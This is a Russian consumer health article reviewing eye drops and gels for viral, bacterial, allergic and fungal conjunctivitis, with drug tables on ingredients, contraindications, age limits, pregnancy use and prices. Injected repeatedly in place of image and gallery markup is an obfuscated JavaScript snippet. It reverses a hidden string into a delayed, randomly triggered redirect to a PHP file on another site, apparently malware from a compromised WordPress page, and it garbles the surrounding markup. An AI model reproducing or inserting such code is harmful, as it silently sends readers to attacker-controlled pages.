Обзор капель и гелей для лечения различных видов конъюнктивита

Для лечения конъюнктивита используют глазные капли и гели. Их выбирает врач в зависимости от причины развития заболевания. Чем же отличаются различные виды конъюнктивита, и почему их лечат различными по действию препаратами?

Что такое конъюнктивит

Конъюнктивитом называют воспалительное заболевание слизистой оболочки глаза (конъюнктивы). Оно проявляется следующими симптомами:

• покраснение белков;
• отёк век и конъюнктивы;
• непереносимость яркого света;
• повышенное слезотечение.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/09/post_5b4719d080743-728×486.jpg» alt=»Конъюнктивит» width=»728″ height=»486″ /> Покраснение глаз — наиболее распростраённый симптом конъюнктивита

Иногда эти признаки сопровождаются гнойными выделениями. От этого по утрам слипаются веки, а на ресницах образуются твёрдые корочки. При конъюнктивите пациенты могут испытывать зуд и жжение в уголках глаз.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/09/post_5b471a5f5820f-728×495.jpg» alt=»Гнойный конъюнктивит» width=»728″ height=»495″ /> Гнойный конъюнктивит чаще встречается у детей из-за попадания инфекции в глаза через грязные руки

Принципы лечения различных видов конъюнктивита

Воспаление конъюнктивы лечат местными лекарственными препаратами. Особой эффективностью отличаются глазные капли или гель. Средства подбирает врач после установления причины развития воспалительного процесса.

Таблица: разновидности заболевания, причины его развития и методы лечения в зависимости от вида конъюнктивита

Разновидность заболевания (по типу возбудителй)	От чего развивается	Как лечится
Вирусный	Вирусный конъюнктивит развивается при локализации в глазах вирусов герпеса или аденовирусов.	Пациенту назначают противовирусные средства, которые препятствуют размножению вирусов.
Бактериальный	Этот вид болезни развивается при попадании в глаза бактериальной инфекции. Возбудителями чаще всего выступают стрептококки или стафилококки.	Врач назначает средства с антибактериальным эффектом. Сюда относят бактериостатические препараты, препятствующие размножению бактерий, а также бактерицидные капли, которые убивают возбудителей заболевания.
Аллергический	Если конъюнктивит развивается на фоне аллергии, его называют аллергическим. При проникновении аллергенов внутрь человеческого организма тучные клетки крови начинают выделеять особый белок — гистамин. Он вызывает слезотечение, расширяет капилляры на конъюнктиве и раздражает нервные окончания.	Если не удаётся избегать взаимодействия с аллергеном, пациенту назначают антигистаминные препараты. Они не дают высвобождаться гистамину, который приводит к развитию аллергической реакции. Для уменьшения симптомов аллергии врач также может рекомендовать сосудосуживающие или нестероидные противовоспалительные средства (НПВС). Такие препараты уменьшают отёк, сужают кровеносные сосуды на конъюнктиве и устраняют болезненные ощущения.
Грибковый	Если в глаза попадает грибковая инфекция, развивается грибковый конъюнктивит (офтальмомикоз). Болезнь встречается редко и отличается длительным течением. Обычно она сопровождается слабовыраженными симптомами воспаления.	Врач назначает антимикотические лекарства для местного использования. Длительность лечения обычно составляет от 4 до 6 недель. Всё это время пациент должен строго соблюдать личную гигиену.

Капли для лечения конъюнктивита

В глазные капли входит одно главное вещество или комплекс из нескольких активных компонентов. Одни средства можно использовать взрослым и детям, а другие — только взрослым. Есть препараты, которые выпускаются с разной дозировкой: взрослой и детской (уменьшенной вдвое). Приведём краткий обзор капель, применяемых для лечения различных видов конъюнктивита.

Таблица: капли для глаз, назначаемые при вирусном конъюнктивите

Название	Активные компоненты и принцип их действия	Противопоказания	Допустимый возраст пациента	Применение в период беременности и лактации	Особенности применения	Примерная стоимость
Офтальмоферон	Интерферон альфа-2b человеческий рекомбинантный. Это белок, выделяемый в организме человека при проникновении в него вирусов. Он препятствует заражению вирусной инфекцией здоровых клеток и ускоряет выздоровление.	Индивидуальная непереносимость состава препарата.	0+	Допускается, если ожидаемая польза для материнского организма выше возможных рисков для плода (ребёнка).	Офтальмоферон хорошо совместим с другими видами капель. Поэтому не нужно делать перерыв между закапыванием, если врач назначил несколько средств.	От 250 руб. (10 мл).
Полудан	Полирибоаденилат и полирибоуридилат калия. Препарат увеличивает выработку интерферона в организме, отчего выздоровление наступает быстрее.	Индивидуальная гиперчувствительность к компонентам, входящим в состав.	1+	Полудан нельзя использовать в I триместре беременности. Под врачебным контролем следует применять во II и III триместрах. Лактационный период не относится к противопоказаниям.	Полудан продаётся в виде лиофилизата для приготовления капель. Перед применением содержимое флакона нужно развести остуженной кипячёной водой до отметки.	От 430 руб. (5 мл).
Актипол	Пара-аминобензойная кислота. Вещество стимулирует выработку интерферона.	Индивидуальная непереносимость пара-аминобензойной кислоты.	18+	Нет данных о применении средства детьми, беременными и кормящими женщинами. Поэтому в инструкции написано, что Актипол применяют только для взрослых. Несмотря на это, капли иногда используют для лечения глазных инфекций у детей и женщин, кормящих грудью или вынашивающих ребёнка.	Актипол после вскрытия флакона быстро теряет эффективность. Если флакон изготовлен из стекла, препарат можно использовать в течение 7 суток, а если из полимерного материала — до 2 недель.	От 291 руб. (5 мл).
Флореналь	Флуоренонилглиоксаля бисульфит. Вещество убивает вирусы герпеса и аденовирусы.	Чрезмерная чувствительность к составу препарата.	0+	Можно использовать в период беременности и лактации.	После закапывания капель возможны кратковременные побочные эффекты: жжение в глазах; ощущение инородного тела; слезотечение.	Нет информации.
Теброфен	Тетрабромтетрагидроксидифенил. При взаимодействии с этим веществом погибают аденовирусы и вирусы герпеса.	Индивидуальная гиперчувствительность.	0+	С осторожностью, так как мало данных о применении Теброфена беременными и кормящими женщинами.	После закапывания возможно жжение, которое быстро проходит.	Нет информации.

Фотогалерея: противовирусные капли для глаз

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»37356,37355,37354,37353″]

Таблица: капли, назначаемые при бактериальном конъюнктивите

Название	Активные компоненты и описание действия	Противопоказания	Допустимый возраст пациента	Можно ли лечиться препаратом женщинам при беременности и в лактационный период	Особенности применения	Стоимость
Витабакт	Пиклоксидина дигидрохлорид. Действует как антисептик, препятствует размножению микробов.	Индивидуальная непереносимость средства.	0+	Можно.	Витабакт эффективен не только против бактерий, но и против вирусов, грибков. Поэтому препарат можно применять при любой другой инфекции глаз.	От 321 руб. (10 мл).
Окомистин	Бензилдиметил. Вещество действует как антисептик.	Период беременности и лактации; пациенту менее 3 лет; гиперчувствительность.	3+	Нельзя.	Окомистин также подавляет рост вирусов и грибков. Поэтому препарат подходит для лечения любого конъюнктивита инфекционного характера.	От 163 руб. (10 мл).
Альбуцид (Сульфацил-натрия)	Сульфацетамид натрия. Этот компонент останавливает рост бактерий.	Гиперчувствительность к препарату.	0+	Можно.	Концентрация раствора в Альбуциде бывает 10 и 20%. Капли 10% подходят для детей, а 20% — только для взрослых.	От 18 руб. (5 мл).
Ципролет	Ципрофлоксацин. Это антибиотик, он убивает бактерий и не даёт им размножаться.	пациенту менее 18 лет; беременность и кормление грудью; индивидуальная непереносимость активного компонента.	18+	Недопустимо.	После закапывания капель начинаются боль и жжение. Но они быстро проходят.	От 50 руб. (5 мл).
Тобрадекс	Тобрамицин (действует как антибиотик). Гормон дексаметазон (снимает отёки и уменьшает покраснение).	Непереносимость состава капель; повреждения на роговице; глазные инфекции грибковой или вирусной природы.	0+	Допустимо, если ожидаемая польза для материнского организма выше возможных рисков для плода.	Если врач назначил Тобрадекс в комплексе с другими каплями для глаз, то нужно соблюдать интервал между их использованиями (5 минут).	От 352 руб. (5 мл).
Софрадекс	Фрамицетин + грамицидин + дексаметазон. Средство действует бактерицидно (микробы умирают при взаимодействии с ним). Гормон (дексаметазон) способствует уменьшению симптомов воспаления.	Грудничковый период (до 12 месяцев); беременность и период грудного вскармливания; глаукома; повреждения склеры и/или роговицы; гиперчувствительность к составу.	1+	Не применяется.	Нельзя применять дольше 7 суток, так как препарат истончает роговицу и увеличивает внутриглазное давление.	От 283 руб. (5 мл).
Левомицетин	Левомицетин. Действует как антибактериальный препарат.	Повышенная чувствительность к лекарственным компонентам; беременность; период грудного вскармливания.	2+	Нельзя.	Нельзя применять совместно с лекарствами, в состав которых входит эритромицин. Это приведёт к ослаблению эффектов от использования обоих препаратов.	От 8 руб. (10 мл).
Флоксал	Офлоксацин. Действует как антибиотик.	Индивидуальная непереносимость; период беременности и лактации.	1+	Недопустимо.	Лечение Флоксалом лучше не совмещать с ношением контактных линз.	От 151 руб. (5 мл).

В 4 года у дочери развился бактериальный конъюнктивит. Детский врач назначил Альбуцид. Но после применения дочь плакала, потому что начиналось сильное жжение. Офтальмолог же рекомендовал капли Левомицетин. После их закапывания нет неприятных ощущений, а помогают они даже лучше Альбуцида.

Глазной врач мне объяснил, что раствор сульфацил-натрия после закапывания частично кристаллизуется. Мелкие кристаллы причиняют глазам боль. Их можно обнаружить, когда они выходят со слезами: под глазами и на ресницах образуется белый порошок. На мой взгляд, несмотря на то, что Альбуцид можно применять даже новорождённым, его лучше заменить другим препаратом. Не нужно напрасно мучить ребёнка.

Фотогалерея: капли против конъюнктивита бактериального происхождения

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»37364,37363,37362,37361,37360,37359,37358,37357″]

Таблица: капли от аллергического конъюнктивита

Название	Действующие компоненты и принцип действия	Противопоказания	Допустимый возраст пациента	Можно ли применять беременным и кормящим женщинам	Особенности применения	Цена
Визин классический	Тетризолина гидрохлорид. Уменьшает симптомы воспаления: снимает отёк, борется с жжением и покраснением глаз.	Пациент младше 2 лет; эндотелиально-эпителиальная форма дистрофии роговой оболочки; глаукома закрытоугольного типа; гиперчувствительность к составу.	2+	Можно, если потенциальная польза для матери выше предполагаемых рисков для плода (ребёнка).	Нельзя использовать капли дольше 4 суток.	От 268 руб. (15 мл).
Визин Алерджи	Левокабастина гидрохлорид. Антигистаминный препарат.	Пациенту менее 12 лет; лактационный период; коррекция зрения с помощью контактных линз; индивидуальная гиперчувствительность к составу.	12+	Во время беременности применение капель допустимо, если предполагаемая польза для женщины выше потенциальных рисков для плода. В период вскармливания грудью от лечения Визином Алерджи нужно отказаться, так как он проникает в молоко.	Внутри флакона находится суспензия. Поэтому перед применением его нужно встряхивать.	От 326 руб. (4 мл).
Кортизон	Гидрокортизон. Это гормон, уменьшающий симптомы воспаления.	Пациенту менее 2 лет; индивидуальная непереносимость.	2+	Гидрокортизон проникает сквозь маточно-плацентарный барьер и в грудное молоко, поэтому при беременности и в период лактации желательно отказаться от лечения этим препаратом. Если женщина всё же использовала капли, ребёнка нужно наблюдать, чтобы исключить развитие недостаточности надпочечных желёз.	Нельзя применять дольше 20 суток, так как препарат угнетает деятельность надпочечных желёз.	Нет информации.
Дикло-Ф	Диклофенак натрий. Это нестероидный противовоспалительный препарат. Он уменьшает признаки воспаления и устраняет болевые ощущения в глазах.	III триместр беременности; Пациенту менее 6 лет; гиперчувствительность к препарату; острая фаза эрозивных или язвенных заболеваний органов ЖКТ; нарушения кроветворения.	6+	Нельзя применять капли Дикло-Ф только с 7 по 9 месяц беременности.	При коррекции зрения посредством контактных линз надевать их можно через 15 минут после инсталляции препарата.	От 130 руб. (5 мл).
Офтан	Дексаметазон. Это гормон, оказывающий выраженное противовоспалительное действие.	Вирусные и грибковые инфекции глаз); бактериальные инфекции в случае если не проводится антибактериальная терапия; глаукома; повреждения роговицы; гиперчувствительность.	0+	Допустимо, если предполагаемая польза для женщины выше возможных рисков для плода (ребёнка).	Капли вызывают помутнение хрусталика и повышают внутриглазное давление. Поэтому их не следует применять дольше 2 недель.	От 196 руб. (5 мл).
Окуметил	Сернокислый цинк, дифенгидрамина гидрохлорид, нафазолина гидрохлорид. Препарат обладает сосудосуживающим эффектом, снимает отёки, а также препятствует высвобождению гистамина.	Пациент младше 2 лет; глаукома закрытоугольного типа; синдром сухого глаза; гиперчувствительность; период беременности и грудного вскармливания.	2+	Нельзя.	После закапывания наступает снижение остроты зрения, которая восстанавливается в течение 10–15 минут.	От 190 руб. (10 мл).
Аллегордил	Азеластина гидрохлорид. Действует как антигистаминное средство.	Пациенту менее 4 лет; I триместр беременности; индивидуальная непереносимость препарата.	4+	Можно при беременности (с 4 по 9 месяцы), а также в лактационный период, если ожидаемая польза для материнского организма превышает возможные риски для плода (ребёнка).	Каплями можно пользоваться до тех пор, пока пациент взаимодействует с аллергеном, или пока сохраняется опасность контакта с ним (для профилактики).	От 433 руб. (6 мл).
Опантанол	Олопатадин гидрохлорид. Этот компонент блокирует высвобождение гистамина.	Гиперчувствительность; пациенту меньше 3 лет.	3+	Возможно, если в этом действительно есть необходимость.	Раствор может впитываться контактными линзами. Поэтому их можно вставлять не ранее, чем через 20 минут после инсталляции капель в глаза.	От 461 руб. (5мл).

Фотогалерея: капли против конъюнктивита аллергического происхождения

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»37372,37371,37370,37369,37368,37367,37366,37365″]

Капли от конъюнктивита грибковой природы

Лечение глазной инфекции грибкового происхождения продолжается в среднем 1 месяц. Для полного выздоровления одних капель недостаточно. Но их назначают для подавления роста грибков в комплексе с другими антимикотическими средствами. Для этого подходят уже рассмотренные выше препараты: Витабакт и Окомистин.

Видео: как правильно закапывать капли в глаза

Гели, применяемые при конъюнктивите

Чаще всего конъюнктивит сопровождается слезотечением. Но иногда болезнь вызывает сухость глаз. Тогда врач дополнительно назначает увлажняющие препараты. С увлажнением хорошо справляются офтальмологические гели. Они защищают слизистую оболочку от пересыхания и защищают роговицу от повреждений и истончения, к которому может привести длительное применение капель.

Особенности применения офтальмологических гелей

Гель по сравнению с каплями более вязкий. Но дозу отмеряют так же — каплями. Инструкция по использованию глазного геля:

1. Запрокиньте голову назад.
2. Большим пальцем левой руки отогните нижнее веко.
3. В открывшееся конъюнктивальное пространство закапайте гель (разовую дозировку назначает врач), слегка надавив пальцами правой руки на тюбик/флакон.
4. Быстро поморгайте, чтобы гель равномерно распределился по слизистой и роговой оболочке.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/09/post_5b4891d4b22cb-728×474.jpg» alt=»Закапывание геля в глаза» width=»728″ height=»474″ /> Чтобы закапать средство в глаз, нужно отогнуть нижнее веко

При одновременном назначении глазных капель и геля сначала применяют капли. Гель можно закапывать в глаза через 10–15 минут. Если это сделать раньше, эффект от применения первого средства будет снижен или полностью подавлен.

Таблица: гели для глаз, применяемые при конъюнктивитах для увлажнения

Торговое наименование	Главный компонент	Противопоказания	Можно ли применять женщинам при беременности и кормлении грудью	Стоимость
Корнерегель	Декспантенол.	Гиперчувствительность к составу.	Применяется.	От 337 руб. (5 г).
Визимед	Натрия гиалуронат.	Непереносимость действующего компонента.	Возможно.	От 615 руб. (20 шт. по 0,45 мл).
Офтагель	Карбомер 974Р.	Повышенная чувствительность к составу препарата.	Допустимо.	От 289 руб. (10 г).

Фотогалерея: гели, используемые при конъюнктивитах для увлажнения глаз

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»37375,37374,37373″]

Что лучше: гель или капли

Капли и гель — две разные лекарственные формы. Активные компоненты капель быстро всасываются в конъюнктивальном пространстве, поэтому эффект от их применения наступает в течение 5–10 минут после закапывания. Гели же нужны для создания защитной плёнки, которая будет обволакивать конъюнктиву и роговицу. Она должна быть прочной, чтобы защищать слизистую на протяжении 8–12 часов. Поэтому нельзя сказать, что лучше: капли или гель. Они предназначены для разных целей. Если врач назначил и капли, и гель, то применять нужно оба средства.

Конъюнктивит легко лечится, если подобрать препарат для глаз с нужным лекарственным воздействием. При неправильном же лечении возможен переход воспаления на роговицу, что чревато снижением остроты зрения. Самостоятельно определить вид заболевания сложно. Обязательно посетите офтальмолога, чтобы избежать осложнений и сохранить зрительную способность.